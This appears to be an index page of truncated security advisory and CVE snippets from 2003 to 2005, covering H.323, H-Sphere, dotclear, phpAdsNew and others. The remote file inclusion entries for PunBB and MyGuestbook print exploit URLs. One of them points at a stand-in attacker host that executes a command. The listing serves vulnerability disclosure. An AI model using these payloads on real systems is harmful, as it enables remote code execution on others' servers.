CVE-2004-2629

CVE-2004-2629 describes multiple vulnerabilities in the H.323 protocol implementation used by First Virtual Communications Click to Meet Express (and related products) that allow remote attackers to cause denial of service, demonstrated via the H.225 protocol test suite (PROTOS). The affected com...

[Full-disclosure] ZRCSA-200504 - dotclear SQL Injection

Zone-H Research Center Security Advisory 200504 http://www.zone-h.fr Date of release: 30/11/2005 Software: dotclear http://www.dotclear.net Affected versions: = 1.2.2 Risk: Medium Discovered by: Kevin Fernandez "Siegfried" from the Zone-H Research Team Background ---------- dotclear is a weblog...

[Full-disclosure] ZRCSA-200503 - ktools Buffer Overflow Vulnerability

ZRCSA-200503 - ktools Buffer Overflow Vulnerability Zone-H Research Center Security Advisory 200503 http://www.zone-h.fr Date of release: 27/11/2005 Software: ktools http://konst.org.ua/ktools Affected versions: = 0.3 Risk: Medium Discovered by: Mehdi Oudad "deepfear" and Kevin Fernandez...

CVE-2003-1248

H-Sphere WebShell 2.3 allows remote attackers to execute arbitrary commands via shell metacharacters in the 1 mode and 2 zipfile parameters in a URL request...

CVE-2003-1247

CVE-2003-1247 concerns multiple buffer overflows in H-Sphere WebShell 2.3. The flaw allows remote attackers to execute arbitrary code via (1) a long URL content type in CGI::readFile, (2) a long path in diskusage, and (3) a long fname in flist. Documents do not specify affected vendor/product ver...

CVE-2003-1247

Multiple buffer overflows in H-Sphere WebShell 2.3 allow remote attackers to execute arbitrary code via 1 a long URL content type in CGI::readFile, 2 a long path in diskusage, and 3 a long fname in flist...

CVE-2003-1248

CVE-2003-1248 affects H-Sphere WebShell 2.3. The vulnerability allows remote command execution by passing shell metacharacters in the mode and zipfile URL parameters. Impact is partial confidentiality, integrity, and availability. No explicit exploitation status is provided in the documents; expl...

ZRCSA-200502 - phpAdsNew SQL Injection Vulnerabilities

ZRCSA-200502 - phpAdsNew SQL Injection Vulnerabilities Zone-H Research Center Security Advisory 200502 http://www.zone-h.fr Date of release: 11/11/2005 Software: phpAdsNew www.phpadsnew.com Affected versions: = 2.0.6 2.0.7rc1 latest CVS snapshot Risk: Medium Discovered by: Kevin Fernandez...

ZH200502.txt

Zone-H Research Center Security Advisory 200502 http://www.zone-h.fr Date of release: 11/11/2005 Software: phpAdsNew www.phpadsnew.com Affected versions: = 2.0.6 2.0.7rc1 latest CVS snapshot Risk: Medium Discovered by: Kevin Fernandez "Siegfried" from the Zone-H Research Team Background from thei...

Vulnerability in Microsoft ISA Server 2000 H.323 Filter(816458)

A security vulnerability exists in the H.323 filter for Microsoft Internet Security and Acceleration Server 2000 that could allow an attacker to overflow a buffer in the Microsoft Firewall Service in Microsoft Internet Security and Acceleration Server 2000. An attacker who successfully exploited...

MPEi/X Default Accounts

This host has one or more accounts with a blank password. Please see the data section for a list of these accounts. OpenVAS Vulnerability Test $Id: DDIMPEiXFTPAccounts.nasl 8023 2017-12-07 08:36:26Z teissa $ Description: MPEi/X Default Accounts Authors: H D Moore Copyright: Copyright C 2001 H D...

Vulnerability in Microsoft ISA Server 2000 H.323 Filter (816458)

A security vulnerability exists in the H.323 filter for Microsoft Internet Security and Acceleration Server 2000 that could allow an attacker to overflow a buffer in the Microsoft Firewall Service in Microsoft Internet Security and Acceleration Server 2000. SPDX-FileCopyrightText: 2004 Jeff Adams...

Remote File Inclusion in forum PunBB

Remote File Inclusion in forum PunBB Date:24/10/2005 Severity: High version: 1.1.2 1.1.5 The bug reside in common.php Exploit : http://www.host.com/forum/include/common.php?punroot=http://www.hostevil.com/cmd?&=id Discovery by RoDheDoR L-G-H Team http://www.lezr.com FREE pop-up blocking with the...

Remote File Inclusion in MyGuestbook

Remote File Inclusion in MyGuestbook Date: 10/07/2005 Severity: High version: 0.6.1 The bug reside in form.inc.php3 The Vulnerable Code if $show 1 include "form.inc.php3"; Exploit : http://server/Guestbook/form.inc.ph...cmd.gif?&cmd=id Discovery by RoDheDoR L-G-H Team http://www.lezr.com Best...

CVE-2004-0498

The H.323 protocol agent in StoneSoft firewall engine 2.2.8 and earlier allows remote attackers to cause a denial of service crash via crafted H.323 packets...

CVE-2004-2344

Technical details for CVE-2004-2344 are not publicly available in the provided documents. Monitor for updates.

TCP-IP Datalook 1.3 - Local Denial of Service

TCP-IP Datalook 1.3 - Local Denial of Service / IP-DATALOOK Local DoS Exploit --------------------------------- INFGP - Hacking&security Research Resolve host...OK + Connecting...OK Target locked Sending bad procedure...OK Server Disconnected! Tested on Windows2000 SP4 Infos: infamous.2hell.com /...

clarolineVulns.txt

This is a multi-part message in MIME format. ------=NextPart000001B01C54B56.DF10D4A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Zone-H Research Center Security Advisory 200501 http://fr.zone-h.org Date of release: 27/04/2005 Software: Claroline...

CVE-2005-1606

H-Sphere Winbox 2.4.2 and 2.4.3 RC1 stores sensitive information such as username and password in plaintext in world-readable log files, which allows local users to gain privileges...

CVE-2005-1605

Cross-site scripting XSS vulnerability in the guestbook for SiteStudio 1.6 allows remote attackers to inject arbitrary web script or HTML via the name field to 1 psoft.guestbook.GuestBookServ in Standalone Site Studio or 2 E-Guestsign.pl in Integrated Site Studio with H-Sphere...